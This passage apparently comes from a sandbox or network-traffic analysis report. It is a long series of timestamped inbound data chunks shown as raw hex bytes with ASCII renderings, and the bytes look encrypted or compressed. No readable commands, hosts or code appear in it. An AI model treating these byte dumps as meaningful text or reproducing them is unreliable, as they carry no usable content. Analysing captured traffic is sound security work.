QH"<m-qv[\|CQT@suY<"r^)$a3XlCtP5_)rU>niN!yU,7+F\|(s%0 ?5cke8e_*aH/[$=I{$Tf{XeX-e-D
2023-03-17 14:07:54 UTC	496	IN	Data Raw: 90 11 43 b2 90 2d b3 74 03 dc ab d7 db 29 26 2d 9c 54 01 81 1e 82 2d 37 c5 54 59 94 58 cb 8e 0b 2f b3 90 d4 29 4a 35 25 20 ed 2e 79 55 70 df 1b 2a de 85 77 b3 ca b3 1a 3d 2d 43 7d e2 15 44 ef 1a 5f 0d bb 95 ef 5b 5a 61 50 5b be 52 5d d0 4e bb 8f ef 95 49 a2 16 96 6d ab 3a 98 4c e8 85 bf 45 4a 64 20 42 70 86 bf 9b 0c 89 e6 a0 7a c1 6b a6 84 e7 68 5f ec 96 d3 83 b4 4a 90 f6 93 0e 53 4c 6e 8b 17 4c 21 85 f1 f8 0d 94 65 af 95 78 75 d5 4b 5a 15 47 a0 22 9c a1 f7 da 7b 69 2c 8f b0 58 36 54 99 45 08 b6 46 5a e8 ca a1 58 34 71 50 1c 24 f0 ed d7 aa a4 0d 66 e8 2d 99 af 3e f1 a2 fa 7f 6b 1d c0 2b 0f 70 ca db e0 75 d4 05 00 a6 51 fc 3f a8 54 a7 a9 bf 92 5d c3 dc 12 cf ab c7 5d d8 c1 b8 a7 a4 31 e1 4b c8 f2 08 3f 35 36 77 2d 1c 20 9c d8 b1 9f 75 b4 97 d1 9d 0f 6d 45 Data Ascii: C-t)&-T-7TYX/)J5% .yUp*w=-C}D_[ZaP[R]NIm:LEJd Bpzkh_JSLnL!exuKZG"{i,X6TEFZX4qP$f->k+puQ?T]]1K?56w- umE
2023-03-17 14:07:54 UTC	512	IN	Data Raw: 7d c3 3c 99 4f 45 4f 7d 10 f1 7f 27 89 bb 11 24 eb 95 97 8b 3c ec 85 3a 47 10 64 ac cb 3f b9 21 28 aa 8d 76 2f 70 8e 89 34 56 eb c7 ae 83 cf 40 e9 b7 e6 46 dc db c2 6a 25 f1 27 59 55 52 96 ae 0a c1 42 a3 49 09 f1 12 96 7a 16 af 04 29 47 31 a4 f2 dc 38 1d c1 fd 9a bd 33 61 87 77 fb 25 5a 29 1d b5 7b 33 bd a3 57 90 41 8d 6d 61 86 d8 21 f0 72 a7 be 5b 83 fa 0e 3a 5b ec e0 b7 e5 e2 ba c7 7b 69 30 cc 84 13 e5 01 4c 8d 01 1f a2 28 5a 1a 96 db 4d e1 5d 84 a7 a5 35 16 45 82 3e f5 fd 6c 7d 61 8d d2 9c df fb 8f 0f 7d a1 f1 1d 44 6a d0 5e 99 83 e2 38 59 69 d2 16 0e 15 5d 40 c6 c8 93 7b 59 00 f2 9e 47 86 bf 7f 09 14 61 5c 92 8f c3 fc 1f 22 19 96 84 e7 1b 08 ed 6e 91 72 43 f4 e3 e0 00 60 49 eb c5 9e 5b 40 a1 3a cd 99 94 4d e9 e4 fb 6a de 8a 14 69 8b bd 27 7c c6 8e 1d Data Ascii: }<OEO}'$<:Gd?!(v/p4V@Fj%'YURBIz)G183aw%Z){3WAma!r[:[{i0L(ZM]5E>l}a}Dj^8Yi]@{YGa\"nrC`I[@:Mji'\|
2023-03-17 14:07:54 UTC	528	IN	Data Raw: 14 1d 65 04 a9 36 95 ec fe aa 31 7e d6 eb 66 fc fd 8f c3 c6 67 2c e9 56 18 d8 9a 4e a5 1a 69 e6 23 d3 a6 e6 d2 09 2c 33 34 e2 8f b9 78 a2 46 e8 58 51 28 06 c4 8d 0a be 28 0c 76 44 86 b7 9c 2c 1a 92 4c 8c 94 94 a0 3b aa d6 45 48 e8 a7 a6 41 73 16 c7 4d 2b 2b b6 ff 21 1e 8c f3 a3 7a 1b ba c3 f6 00 e4 87 04 f4 3d fb 38 ef 5e ec 6c e5 85 19 19 03 04 3c 93 db 4c 06 b3 a9 01 db 86 4b 5a 69 b3 a7 25 54 77 f4 bb 40 cf 64 2c 39 97 20 1a 83 02 1e 66 1a e6 0e fd 38 11 bd 90 fe a4 11 a5 9c 22 e0 f7 93 f7 11 33 ba 75 74 76 ea f4 c8 bf cf 18 3e 84 1c 0e 2b 43 c3 6b 41 dd c6 29 0d 88 75 64 89 9b 91 16 17 7e 7f 1a 86 c3 57 33 7d b1 a8 28 7d 58 95 98 45 07 bd 14 73 8c e9 65 cd 39 97 60 b2 02 25 1e ac 39 ed de 98 72 6b 30 ac 3c d1 46 f0 16 22 21 fe de 98 78 8b d0 ef 57 15 Data Ascii: e61~fg,VNi#,34xFXQ((vD,L;EHAsM++!z=8^l<LKZi%Tw@d,9 f8"3utv>+CkA)ud~W3}(}XEse9`%9rk0<F"!xW
2023-03-17 14:07:54 UTC	544	IN	Data Raw: f3 86 7f 48 72 05 33 e3 9c 47 c7 ad 01 9a 8e f5 e3 19 17 da 9b d1 66 cf ff a2 a9 b0 65 1f 7b fa b7 78 db ad 98 07 0f b3 af 23 73 a1 d2 51 20 a2 77 6a e2 6b 41 5e dd 43 71 c3 72 e3 8b 82 30 05 43 13 56 2e 48 79 4e 4e 32 9f 55 ae ce 71 e2 f1 80 a0 2b 8d 3f a1 9b be 54 6c ad 32 b3 7c 0b c8 b8 c9 c3 82 4a 2a 2f 9e 57 ea 66 ce 72 ce c3 76 15 57 e8 68 11 db 4a 55 4f e9 cc 33 d3 36 ec 08 af 41 8d 9f 53 dd ad ed ad 6f b6 3b 3c f1 fa e8 40 0d d9 0f 6b 1b 4c e6 a6 89 d0 1b 10 27 41 99 be b8 0b 25 31 56 f1 64 49 2e f2 52 0e 2a 51 69 3d a6 bd 3c 09 5a c6 f7 75 f6 c8 fb cd a7 ef f2 8d 10 29 48 4b 1c ad ce 23 60 d3 fa 7d 23 3f 8b 11 9d 9b 03 7c 46 f0 2c b5 35 8e 78 52 31 f3 64 ca 18 22 cf 1f 1a f5 82 7a dc 00 8b 43 35 36 d7 7c b8 5d 49 c3 77 bb 3f da 69 b8 c5 02 6d ba Data Ascii: Hr3Gfe{x#sQ wjkA^Cqr0CV.HyNN2Uq+?Tl2\|J/WfrvWhJUO36ASo;<@kL'A%1VdI.RQi=<Zu)HK#`}#?\|F,5xR1d"zC56\|]Iw?im
2023-03-17 14:07:54 UTC	560	IN	Data Raw: 49 ae 86 93 ea d8 79 f9 6c ab d2 c7 95 ee cb 6e 48 51 b0 20 64 4d 8e ca a6 0e 3c 18 c4 f5 fa c5 0e 8d 46 9c 03 d5 4a 99 45 3a 58 d5 e9 fb 18 bf 1f b1 2c b7 99 1c d5 c6 90 63 27 ac 16 0a 71 cf 0e 4c 82 86 c5 c6 5d 1e 15 5e c8 60 ae 76 f6 e4 11 05 d6 ff f6 8c bb e0 1f 76 ce a6 eb 61 a5 82 65 8f 41 64 5b d4 a3 47 41 99 1d 0c e6 49 90 f4 b6 c9 d7 57 e9 22 f9 d1 42 e5 30 73 ca a7 82 e2 52 68 ae 8a ce 58 25 aa 12 92 a0 ac 10 3d 80 e2 1d 34 92 2e c1 03 42 30 07 7c 9e a2 ce 9c 2f 4e d4 7e 51 c9 c1 2b f3 02 5e 77 aa aa 1a 3a 4b 3b 0a 5d 00 86 bf f8 3d 68 71 90 92 3d 3a df 69 e2 3d 31 bf 8a fc ca d1 8e 7a 70 6d 00 2b 49 ed 6a 92 9d b7 d0 37 09 4a 61 0c f4 c8 05 7a ea b8 60 bb de 3f 1b cf 8e f5 b3 5b f8 e9 fc b4 4b 97 c4 f0 5e ab 94 e1 d3 66 ab bb 11 5d 6d 4d 6f 8f Data Ascii: IylnHQ dM<FJE:X,c'qL]^`vvaeAd[GAIW"B0sRhX%=4.B0\|/N~Q+^w:K;]=hq=:i=1zpm+Ij7Jaz`?[K^f]mMo
2023-03-17 14:07:54 UTC	576	IN	Data Raw: 83 be 42 e1 96 fb 97 88 a1 82 86 6f 66 bd 44 e9 d2 13 e8 8b 88 c3 09 50 f0 99 7b bf 41 10 3f f7 c7 fd f9 4c ed 9c 9a a7 88 52 de 71 e7 c5 ba 01 a8 4f 3f b3 27 64 23 08 8f 6a 49 86 3b db 18 67 07 d1 1c a4 c1 2a 85 49 3a e0 d3 15 7f c3 73 c9 d9 62 04 a9 a0 16 5e 93 ad c1 84 a3 9f 48 08 aa bc cd f7 03 fd 43 27 45 10 80 63 25 61 ec c3 54 11 b7 64 d2 e3 60 51 6c dd bc e2 d0 4a eb a1 2d f6 7d bc 55 5e 58 40 eb 34 aa 1d be c1 50 1d 2e 4a e7 24 ad 1a d3 65 8e c2 0b 46 94 bb b6 1b 1e dc 78 a0 58 22 05 bb 1e 1f 7e 5a 3b 01 57 92 c7 8c 7f 42 c1 de 88 9d 6f 51 fd 3e 9d a8 02 fe fa 05 8f a2 23 eb c7 69 4d aa 89 e3 20 b7 90 61 d0 0e 7d 54 e5 8a a5 11 6a 07 5f c0 68 fe 04 b8 d1 87 11 4a 25 53 01 de 84 d9 1b 46 dd a2 07 62 58 2f 62 c3 62 48 70 6e ef 2c 17 fe e7 4f de c2 Data Ascii: BofDP{A?LRqO?'d#jI;g*I:sb^HC'Ec%aTd`QlJ-}U^X@4P.J$eFxX"~Z;WBoQ>#iM a}Tj_hJ%SFbX/bbHpn,O
2023-03-17 14:07:54 UTC	592	IN	Data Raw: f4 eb 66 02 99 39 56 a0 2e a7 d6 4a 2a 94 0d 75 8d ba 44 62 9d 46 69 17 7e 8f 42 40 aa 04 d2 d6 a4 d6 80 6b be 7a 43 ff cd 19 d9 e1 70 d8 d7 83 90 b7 d6 e2 94 b4 f4 c6 a1 6e 9d 3a 3b a8 ef 25 ad 7b 64 50 b7 ce fe 7d 5e a9 95 82 c4 4a 6c 13 5f 69 64 0d 6d 9b 59 d9 ea c0 6a 95 a9 80 52 b0 20 7c 1e 85 3f 82 09 53 4e d1 40 13 44 cf 65 7e 8d 6e 99 73 1d 42 de 1d f2 05 87 24 de f9 de 1a 03 c2 7e ca 54 a9 16 a5 5c bf 82 6c e4 40 11 02 12 aa 7a 72 87 23 b4 f8 e8 b7 ba 7d 36 da b5 a9 b4 20 f7 30 a7 1f 9c 15 bd 5c 20 c9 97 c6 c6 e9 c8 18 fe 07 dd c8 c4 bc e3 8d ce b9 d9 a9 dc 63 9c 26 74 d1 12 17 3f 8e 57 33 f9 14 18 0c ea a4 2c 1d 31 58 80 9e 84 63 5f b9 85 4e 3f 61 2c b6 23 40 13 c5 fb 45 16 35 9f 21 63 1d b3 14 3e 2c b5 db 68 49 e6 dd 24 a9 e6 b7 63 b1 5c 1c 33 Data Ascii: f9V.J*uDbFi~B@kzCpn:;%{dP}^Jl_idmYjR \|?SN@De~nsB$~T\l@zr#}6 0\ c&t?W3,1Xc_N?a,#@E5!c>,hI$c\3
2023-03-17 14:07:54 UTC	608	IN	Data Raw: 6e e5 43 6a 25 98 15 28 7f 96 b1 64 36 2f 7f 65 4b 79 aa c4 1c 0f a2 01 f6 9c 88 ed 05 dd 7c 71 c7 35 91 52 5b 8e f7 bf c1 74 71 c0 a1 98 dd 43 b5 d3 af 6c b3 ca 62 c4 54 e2 df 1f f0 1e 64 05 f0 f5 79 f4 aa 22 11 c4 54 02 2e ac 24 c6 62 5c a7 7b 37 28 45 8c 41 a3 6a 9a f3 40 56 0c 69 f6 64 cd 3f fb 71 41 78 57 8e 66 27 db b0 d5 a9 14 bc b0 d5 3e af 6b c0 69 7d f8 15 e3 60 7a bc bc fe ca 33 4a 72 ff e8 49 9b ac 5d d4 29 6b 6d db 91 cc 5a 1e c4 16 44 7c bb e4 a5 19 36 2b 18 d4 7d 2e 0e 52 00 c5 7f e1 cd 48 85 d0 e3 e5 41 c2 bf f0 ef c8 c6 80 7b 1b 33 b2 41 79 62 52 a0 c7 7c 71 4b 88 9f 67 53 21 2d c4 fb b2 6e 9a 48 57 6d de 60 fa 79 57 03 c1 f7 88 62 39 e9 33 33 7f 26 be 7e e8 93 99 84 9a 52 b2 f4 38 7e 1b cb b7 10 4c 8b cf 9b c4 d6 1a 96 60 bf 0d 8e 5b 67 Data Ascii: nCj%(d6/eKy\|q5R[tqClbTdy"T.$b\{7(EAj@Vid?qAxWf'>ki}`z3JrI])kmZD\|6+}.RHA{3AybR\|qKgS!-nHWm`yWb933&~R8~L`[g
2023-03-17 14:07:54 UTC	624	IN	Data Raw: 05 97 16 c9 bb 1f 8f b9 a7 d8 65 f6 2f 54 55 ed 15 03 c8 44 e2 ea 96 ed 02 a2 45 d9 b6 3e 73 b4 bf e5 69 f0 10 d9 71 75 c1 00 b1 b3 68 df e0 db b4 fa ae c9 01 0a 5d 51 4e 38 a9 27 08 03 4c 57 49 21 57 16 c3 36 81 c8 49 fa 9a 65 2e 67 f7 e6 97 7d 4e e2 7d ce cb a8 e7 c6 17 27 d5 e4 b8 e1 bd c6 1e 3a d2 c0 74 d0 5f a1 4d 7c f4 03 83 0a 04 02 6c e6 a9 62 d4 3d c8 71 08 09 52 ee 72 2e 82 01 d8 fb 1f ef 29 c3 36 cf 6b 4c a2 59 63 2c ee 16 84 9e 4a 48 01 06 81 19 b8 33 ac da b0 be ef 4c 2e 7b 02 9b a4 9e c2 32 31 83 e9 cb 9a 01 8d 3c 34 44 ea 30 0c 0f 02 b8 b5 d3 aa 12 08 59 0d ad 8c b1 d1 84 3c 1d 8e 74 93 0b b3 27 a1 fb 0e 9c f2 73 13 eb e8 d9 2e a9 09 4c 40 e0 70 75 6b ac 36 02 2d 7f 01 9d e1 c9 e7 d2 38 7c 90 61 bf e5 c4 46 6b b3 b3 3f f8 3d 9e 5a f5 ee 88 Data Ascii: e/TUDE>siquh]QN8'LWI!W6Ie.g}N}':t_M\|lb=qRr.)6kLYc,JH3L.{21<4D0Y<t's.L@puk6-8\|aFk?=Z
2023-03-17 14:07:54 UTC	640	IN	Data Raw: ce ab 04 48 1a 67 8c fe f2 f8 64 29 4f c4 7c d4 27 18 82 2c 02 c8 a6 5f b0 51 4a fb ee e6 f8 0f 38 0a d0 25 a6 29 59 9b 08 25 51 96 9e 36 dd 09 2e f3 fa 35 d4 84 af a0 dc 36 7e 39 9b 14 7e 8f c1 2f ff b0 7d 9e 81 cf 03 c0 b7 16 31 9b b3 9b 35 da 08 3a 68 ce a8 e1 70 eb ee 30 fe 98 1e c0 42 a7 bc 42 0d 97 3b 90 3e 8a 89 9a 02 92 ed ba 3c af ba 01 9c 3d 24 b2 8d ba b3 86 70 16 d7 d9 53 27 96 ee 01 fc 31 41 07 e9 7e 87 ba 12 56 70 94 bd df a3 e8 34 9f ff ce 05 5b 84 50 bc 02 53 ed b6 59 00 58 38 c0 22 88 68 fb f3 b1 62 2a 41 42 24 bc f9 d0 2d 6a a0 30 04 d0 67 4a 68 8a 48 4e c7 9b 15 c5 2f f4 f7 4a b6 68 ae 24 a8 ec da 5d 0e ee 53 63 06 d9 0d c3 46 b9 43 0a 81 78 14 2d 7b 9d a5 b5 26 31 f4 ad bf e2 66 b7 86 0f cb 56 1d e0 4c 75 4e f2 b4 a8 01 f1 a9 46 de 4d Data Ascii: Hgd)O\|',_QJ8%)Y%Q6.56~9~/}15:hp0BB;><=$pS'1A~Vp4[PSYX8"hb*AB$-j0gJhHN/Jh$]ScFCx-{&1fVLuNFM
2023-03-17 14:07:54 UTC	656	IN	Data Raw: b8 6f f4 55 51 e0 fa f2 42 f3 d9 3a 71 22 fe fa f4 44 53 e6 74 40 16 61 22 9a 31 04 48 e5 33 13 26 09 f8 4a 0b 58 ce 8b c9 12 35 66 3d f1 6a 0f 7d 4e a9 8b ec 67 6f 14 90 f2 a8 3d e1 5b ed 4b 63 2b 30 3a 3d ad 0b 1c e4 58 37 a4 06 98 1c 97 5a 3f c8 59 7a ab 3d 12 1c d7 89 18 de 32 c6 eb 8d e5 c4 fb 58 5f 45 85 d3 d7 65 ec ea cd 8c 74 b3 e7 43 9f 3a d2 81 d7 66 4d 24 1b 68 97 91 f2 21 68 5b a8 70 22 5c 76 6f 9a 48 97 e5 3f f7 c5 c7 e4 01 d2 cb 2f 24 5f fa 18 e1 e4 2f f4 1f 7a d8 fc 18 cb c5 77 74 73 a8 6b d2 0f 20 b7 1e 4d 23 aa 2e 39 0b e0 6b d8 05 d7 56 ad a0 bc ef e2 e3 75 03 e4 83 a1 ea 0c 60 29 4a 4e ea e9 f9 61 76 2e eb e3 4f 6b 6a 1a 85 56 e9 ca c3 44 93 3b de 62 f4 ce 25 05 1e 98 06 69 26 03 db 42 7d 08 c2 0a 23 7f a0 33 d4 b4 8a e1 8b 63 d4 85 88 Data Ascii: oUQB:q"DSt@a"1H3&JX5f=j}Ngo=[Kc+0:=X7Z?Yz=2X_EetC:fM$h!h[p"\voH?/$_/zwtsk M#.9kVu`)JNav.OkjVD;b%i&B}#3c
2023-03-17 14:07:54 UTC	672	IN	Data Raw: 8a 81 b4 f7 59 9d b0 91 54 42 c2 52 71 cf 33 a7 e9 98 85 06 5c ec c6 23 7c f8 34 ce 6d 6e 42 1e 1d 64 b0 b8 ab f7 39 65 57 d8 20 f5 81 b7 79 51 fd 45 6b 06 ce 34 ac 8d bb 06 e5 49 92 df 5c 53 09 fd 74 85 a0 22 87 10 38 f3 b6 17 28 89 dc 04 d2 39 8a 1f 20 0e f2 31 25 ea ed 00 de 78 0b a0 f9 0d 1a ee ac 1a 8e 79 a6 4d c3 6a c7 2b 4a 18 b1 ef e1 ba 1d cb a9 5d 84 c5 28 a9 92 2f 53 87 46 0f 84 ad f0 3b b3 89 09 fe 7d cc 6f 70 50 10 00 eb 30 2d aa ba ab 3c a8 ca 68 e6 97 5f 27 0a 92 ce 6b 82 ef 03 61 b5 06 b1 58 23 d5 a7 fe 07 62 da 62 87 cf 34 67 ec df ab ad 4e 35 7e 98 e2 25 f2 10 8f 43 2f 42 72 eb fb cb 73 d2 f3 d8 1b 13 b3 fa c9 1b 77 76 38 5c 91 50 78 f9 e0 70 12 08 23 f2 36 bc ef c7 f3 de 60 39 46 55 1a a8 28 cd e9 4c c0 64 09 cd 27 84 00 ad de 3b 8b 4f Data Ascii: YTBRq3\#\|4mnBd9eW yQEk4I\St"8(9 1%xyMj+J](/SF;}opP0-<h_'kaX#bb4gN5~%C/Brswv8\Pxp#6`9FU(Ld';O
2023-03-17 14:07:54 UTC	688	IN	Data Raw: 28 c4 62 09 c1 a5 92 d0 2a 08 27 93 e7 5b 28 8a 26 6d cb c7 6e 81 08 15 7f cf 8e 62 4c 86 67 50 72 4a 35 ef fc df 7a 8a 31 74 b9 5f 84 0d ec eb b2 b6 f8 c2 1a a1 6a a4 0b b3 06 8e 7d c9 e1 fe 79 16 65 74 22 cf cd f7 bc 6a 55 3e a0 d8 be 15 e4 12 58 6a a0 4f 5f 1d 45 b7 45 63 f3 d2 db 7e fe 42 0b 53 67 0f 76 91 02 3c 9f 57 32 3e 8c fa 1a 42 6e 7b 4d 21 39 0a 1c 71 a6 36 c2 b2 b8 a5 8f 09 9d c5 77 60 a8 3b c2 fd 62 b6 b7 33 48 60 87 d8 02 6c 3d 5d bf 83 fa 3d 2c 1a 57 4b c8 16 d5 4d 4f e7 35 79 f4 e0 f0 ab b1 3c 51 0f 21 2b b3 d0 f3 90 2d eb 08 c3 72 65 92 34 75 5b 58 37 85 1c b7 f3 39 27 dd 3e 0c c9 35 a7 7d 8e a8 43 11 f5 a5 1d 65 26 e7 d0 fd e4 81 a9 42 40 7b 30 14 b7 9d 98 39 f3 c6 63 48 94 6e d6 e3 76 55 9c bc af 6a 0b 61 68 a0 aa 16 74 7a 9a b9 04 15 Data Ascii: (b*'[(&mnbLgPrJ5z1t_j}yet"jU>XjO_EEc~BSgv<W2>Bn{M!9q6w`;b3H`l=]=,WKMO5y<Q!+-re4u[X79'>5}Ce&B@{09cHnvUjahtz
2023-03-17 14:07:54 UTC	704	IN	Data Raw: 9a 82 7b 34 8d c0 7f 6b 93 f7 7c a7 61 0b 8a 51 62 5b 17 e5 86 76 b1 02 24 02 99 0a 6d 99 6d 5e 5e e7 ce b5 cb 3a d0 cc ce 20 73 c7 76 7d 85 39 04 cf ea db bb db d1 66 37 1e f4 19 85 9c cd b6 63 5b ce 40 bc 0e ef bd 93 8e cc fb 92 74 67 d7 9f 33 5d 76 8b e5 2d 41 1b 9b 4c 2d 8a 3c 20 35 88 f3 5c 22 de ed aa c4 f9 08 fa 3c 05 ea f0 ce 04 9b 4d 9e 5b b6 a8 a7 37 10 72 8e 10 8d 50 6c 64 1d 1a 6c d6 83 21 ce a8 a1 b3 9e 6d 07 27 3b 52 9b 70 59 4f 09 ef 7e b1 e6 70 d6 06 e5 18 a4 1c 9c dd 8d fd 29 75 ab 64 ef fb f4 92 72 bb 9d ce cf 94 cb 29 03 6a e5 49 79 ae 14 c6 a0 a2 11 00 86 10 c0 0d 42 c3 d2 b1 25 73 0c cf 8c e0 bd 7c c8 7e 5b 6f 75 41 c0 38 35 ba ae eb cd e4 50 1b 64 e8 70 25 b8 89 14 81 9a 2c 0c 09 35 16 9b 9e 2f 0a fc 5c b5 79 8b a7 42 7a 7d c3 09 3d Data Ascii: {4k\|aQb[v$mm^^: sv}9f7c[@tg3]v-AL-< 5\"<M[7rPldl!m';RpYO~p)udr)jIyB%s\|~[ouA85Pdp%,5/\yBz}=
2023-03-17 14:07:54 UTC	720	IN	Data Raw: 4b bc d6 c2 be 86 df 5e 20 27 51 0b 1c 36 14 40 2d 4e 80 a5 68 31 8e b8 50 10 11 94 ea 23 1e ff 34 ba 36 cd 18 4d 99 56 28 4c 24 36 36 9a cc 70 d4 82 6b a5 b9 c0 6c 32 b1 81 af b3 33 18 4c 81 30 1a b0 fe 93 28 db 9f 45 c4 9d e7 14 ae d8 98 f1 3f b0 a8 1b 19 f0 ff 47 5e 45 88 4b 92 c3 48 5e 16 bc f0 31 27 79 7e b0 79 11 f3 50 fe 1d 12 71 7a d2 53 78 ba cf 00 6f 3d 4d 63 f4 79 b7 ca 49 b1 70 06 e1 5a bf df 18 c7 4b fb 7a b5 05 28 97 40 af c4 67 8e 47 5a 3b 5d b2 2c 0e 7a 4c c9 55 35 ec c7 37 f4 bf 0d 96 dd 06 2b 54 9f bc e6 ce 8e 39 dd 77 ac ad f6 e3 e4 fd 83 f7 54 9c 3a ab cb 48 dc db c6 9d 32 95 3f 1c 81 3d 78 01 93 e5 44 88 4d 7b b4 97 0b 45 9b 7d b5 f9 af 1f 17 9d 96 42 bf b9 6c e2 d2 75 29 26 9b 32 f9 35 0d 6c 6c 25 c9 56 2a e6 da da 73 58 a7 77 f1 86 Data Ascii: K^ 'Q6@-Nh1P#46MV(L$66pkl23L0(E?G^EKH^1'y~yPqzSxo=McyIpZKz(@gGZ;],zLU57+T9wT:H2?=xDM{E}Blu)&25ll%V*sXw
2023-03-17 14:07:54 UTC	736	IN	Data Raw: 0d 7b ab 3e 66 72 94 20 58 90 39 04 a8 a7 06 7c 9d ad 03 6d 8c df d2 80 9d 2a 16 b1 07 5d 26 99 6e 84 ec c7 1d df a8 e7 0c b6 02 43 aa 5d c2 17 dd 09 cb 1c 31 11 b5 38 25 ad 53 8a 3d b8 b4 a6 37 f1 77 de 50 32 ea 5a 39 56 df 4e 8b 6c 43 72 cc 30 dc 89 05 4d d5 21 7c dd 5f 78 58 c7 25 ac 13 cb 19 b7 bc 80 0c 24 ec 64 0c e0 a7 db ce 29 59 b5 d2 39 49 07 a1 e3 1b 40 3f bb 6c e1 7a 71 c0 2b b3 58 7d be dd 8a c0 de 90 2a e1 2e fd 24 ce eb d2 4a 1a 70 54 f7 44 59 1b b5 ee 22 3e 17 4f 6a d1 c0 f1 8e 38 11 a1 bc 31 61 86 d5 7b 24 cd c6 79 01 ec e7 04 d5 4e c0 00 91 74 3f 4a cd 55 a6 a3 b5 54 28 a8 6f 08 10 1a ee fd 00 1d ed 2d 1e 03 a5 5a 4c a9 cc 8a b6 1f 45 08 37 c2 73 e8 81 d7 9e 64 67 5e 80 a8 38 e4 8e 3d 1b f6 1d 7a 7f 56 65 ca ab 1b 67 a6 82 eb 25 71 91 63 Data Ascii: {>fr X9\|m]&nC]18%S=7wP2Z9VNlCr0M!\|_xX%$d)Y9I@?lzq+X}.$JpTDY">Oj81a{$yNt?JUT(o-ZLE7sdg^8=zVeg%qc
2023-03-17 14:07:54 UTC	752	IN	Data Raw: 90 fd 9c 38 92 75 6d 87 3b 10 47 bc cc 7d 38 1a 30 9e 55 e0 05 07 a1 08 cb f7 04 aa 4c 05 ee fb 46 86 70 4c 3c e8 97 de 73 4b d7 c5 47 fc d2 66 68 29 ab 6b 1b 55 29 6d 63 e6 78 3e b1 da d1 22 60 da c4 d7 07 79 36 89 4e 50 e9 fb 57 cc f6 7f 1c aa 85 36 61 d4 7a c3 7f 12 74 a4 c1 a4 c0 8c 85 53 98 f2 ba 61 15 84 8f fd dd f3 00 04 a3 aa 9b 3c 18 da bd 71 ea ba 54 38 5c 70 72 55 a8 f8 9a 03 0a a9 65 8a 80 3e 05 1d b7 2b 9a 00 98 78 e1 c6 f4 e4 e9 83 3b 6c 4c c6 95 0d b0 c1 b2 ea 9d c6 c9 00 ae 5f b6 87 2d ba 53 f0 2b c9 4f 50 3e b5 ec 24 da af db cf 47 19 7c e2 5b 78 83 75 fd 73 f8 b0 4d ab bb f2 0e 2f b1 ce bf 73 0f 9f eb 36 25 cd b9 a7 83 ba 32 23 f6 be 65 e9 e1 06 39 1a ee 15 cf ec 0c ab 89 84 3f 70 1b 8b 24 69 a4 f1 83 1f c0 ce 65 3b f5 04 be ad 13 42 03 Data Ascii: 8um;G}80ULFpL<sKGfh)kU)mcx>"`y6NPW6aztSa<qT8\prUe>+x;lL_-S+OP>$G\|[xusM/s6%2#e9?p$ie;B
2023-03-17 14:07:54 UTC	768	IN	Data Raw: 5d 5b 1a eb 50 bb 3e 6d 50 30 5f 91 73 19 c5 fc 12 fa 97 7b 2b d3 c6 0a 41 ef 00 ec ac 26 e3 7b da 86 f1 aa 5a 2b 59 b3 fc f2 25 82 be 28 a2 df e7 cb 8a a6 6c 6d a6 ff 58 fd cd 00 cd 15 89 3e 5e 58 0b a0 75 8a 0a 51 a5 48 f1 c1 ba 5b f3 79 0f de 68 c0 f3 17 6e 21 68 e8 a3 c3 34 54 09 64 d3 15 93 6b 0f e3 ed 2f 5a 45 26 1e fa cd 51 ab f4 87 45 4a c7 1a 05 e7 81 61 6e 24 2a dc 9d 6f 31 5f e4 0c 03 2e f3 da 64 50 90 b2 1a 79 e2 55 88 7c 4b c0 13 c4 f3 22 0b 6d d4 4e c6 04 3b 69 e0 ad a6 58 51 fb 83 ea 86 10 4a de 28 46 58 93 d7 f3 05 8e e8 c9 f6 fb 67 de 23 a4 c7 11 65 f5 18 94 04 df da a9 77 83 8f fc ee a4 6b 9c 16 fc bb 88 69 0d 70 fb ab e7 31 29 49 9f 1e 36 f5 c6 54 7b 90 7f 95 62 48 2b 41 7a 47 88 21 41 09 31 28 47 55 47 9f b4 96 12 27 6c 66 66 a1 8b 72 Data Ascii: ][P>mP0_s{+A&{Z+Y%(lmX>^XuQH[yhn!h4Tdk/ZE&QEJan$*o1_.dPyU\|K"mN;iXQJ(FXg#ewkip1)I6T{bH+AzG!A1(GUG'lffr
2023-03-17 14:07:54 UTC	784	IN	Data Raw: d9 39 0c 7e 6b e1 ae 7a f1 ea 9a 9f d8 2b 44 1f 62 8e d0 5b 3c 4b 45 f5 0b d6 8e e0 43 92 ff b9 a2 a8 97 d5 b8 b1 e8 1b f6 8f f4 d9 6d d6 bf 33 df 18 5f 07 21 a9 a3 eb 2a 12 b6 72 12 a0 c3 90 f9 76 88 9c df 44 c4 4d 3c 59 0e 66 e3 06 54 55 ee 8a ec eb d0 a0 9b db b9 da 00 04 dc 41 45 cd bb f8 2d 9f aa 63 f8 25 4c 42 31 eb 8a 3f 83 9f f0 b5 f0 60 70 d4 43 a3 38 7d fe 77 89 70 20 14 33 fd a2 0b 48 b7 b3 c2 13 22 71 43 f8 61 0e 81 6f 36 fb ff e9 82 d6 45 87 9e 21 4e 83 dc 7c dc 2c 2d 0a 6e 6a 2a b3 40 3a 20 73 7c 31 30 98 d9 f6 00 95 30 06 08 1e 55 5f 73 a1 04 61 ea 5c 72 59 06 0a 21 b5 a8 aa f7 75 e4 6e 13 36 ff 8c 12 09 d3 d9 9b 6d 26 79 aa c8 d0 dd 2a df 2c ca 6a d6 fc 0e e9 56 a9 88 89 c2 c4 53 10 de 05 ca 7c 10 23 fe 2c 1c 24 17 0f 4b d4 61 b6 0a 9e ff Data Ascii: 9~kz+Db[<KECm3_!rvDM<YfTUAE-c%LB1?`pC8}wp 3H"qCao6E!N\|,-nj@: s\|100U_sa\rY!un6m&y*,jVS\|#,$Ka
2023-03-17 14:07:54 UTC	800	IN	Data Raw: 33 dc 9e 1f ce b2 97 ff 72 c6 61 82 fb 71 76 23 85 25 5a b7 19 74 25 28 44 29 6b 15 38 fe a9 32 94 ad a0 7b 8d 2d f3 f3 15 97 d8 1d c8 ef 18 83 ff 8e 13 0f 2e 13 46 fc 77 07 cc 37 a9 1e 8f e0 8f c5 3e bf 09 79 41 ec 8d a2 3e 05 f1 70 b0 df df 50 fb 5d 13 12 8c ad 2f f3 20 72 1b 4e 47 ea ac 5c f9 86 c9 8d 1c 54 ee b1 f6 38 75 c5 0b 63 e5 39 03 9d 40 7d 32 dc b4 52 f9 81 55 73 c2 83 0c a5 c5 8c f8 bc 4f 6f 6b a8 6f b3 c6 3f fa 07 eb fc 69 a8 66 e4 00 49 51 ed 4c 4f 46 48 3a 68 12 78 ca 90 1d 86 88 8a 9f ce 7c 3d ed d7 cd b6 10 4e 2d e1 9b 9f 86 c7 2e bb 3c ca 67 17 b3 59 fc 5c dc d8 83 3e 72 a9 d6 ae d0 e8 c2 c9 ae 6f c4 d4 79 a4 65 e4 86 a5 5a a4 fa b2 58 4d 44 